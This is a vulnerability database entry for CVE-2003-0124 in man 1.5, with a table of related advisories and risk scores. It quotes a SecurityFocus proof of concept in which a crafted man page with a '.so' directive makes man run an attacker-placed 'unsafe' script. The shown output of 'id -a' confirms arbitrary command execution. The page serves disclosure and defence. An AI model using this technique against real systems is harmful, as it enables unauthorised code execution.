Man Program 1.5 - Unsafe Return Value Command Execution
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | Red Hat Linux Data Compromise | 28 Apr 201500:00 | – | bdu_fstec |
| Red Hat Linux Data Compromise | 28 Apr 201500:00 | – | bdu_fstec |
 | CVE-2003-0124 | 1 Sep 200404:00 | – | cve |
 | CVE-2003-0124 | 1 Sep 200404:00 | – | cvelist |
 | EUVD-2003-0120 | 7 Oct 202500:30 | – | euvd |
 | Mandrake Linux Security Advisory : man (MDKSA-2003:054) | 31 Jul 200400:00 | – | nessus |
| RHEL 2.1 : man (RHSA-2003:134) | 6 Jul 200400:00 | – | nessus |
 | CVE-2003-0124 | 18 Mar 200305:00 | – | nvd |
 | CVE-2003-0124: Undefined Security Weakness | 1 Sep 200400:00 | – | rapid7 |
 | Low: Red Hat Security Advisory: : Updated man packages fix minor vulnerability | 1 May 200307:47 | – | redhat |
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source: https://www.securityfocus.com/bid/7066/info
It has been reported that the man program does not properly handle some types of input. When a man page is processed that could pose a potential security risk, the program reacts in a way that may open a window of opportunity for an attacker to execute arbitrary commands.
$ cat innocent.1
.so "".1
$ cat '"".1' # the outer '' quotes are for the shell
the user will never see this
$ cat `which unsafe`
#!/bin/sh
echo "oops"
id -a
$ man ./innocent.1
oops
uid=528(lloyd) gid=100(users) groups=100(users)
$Data
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30 Oct 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.6
EPSS0.01513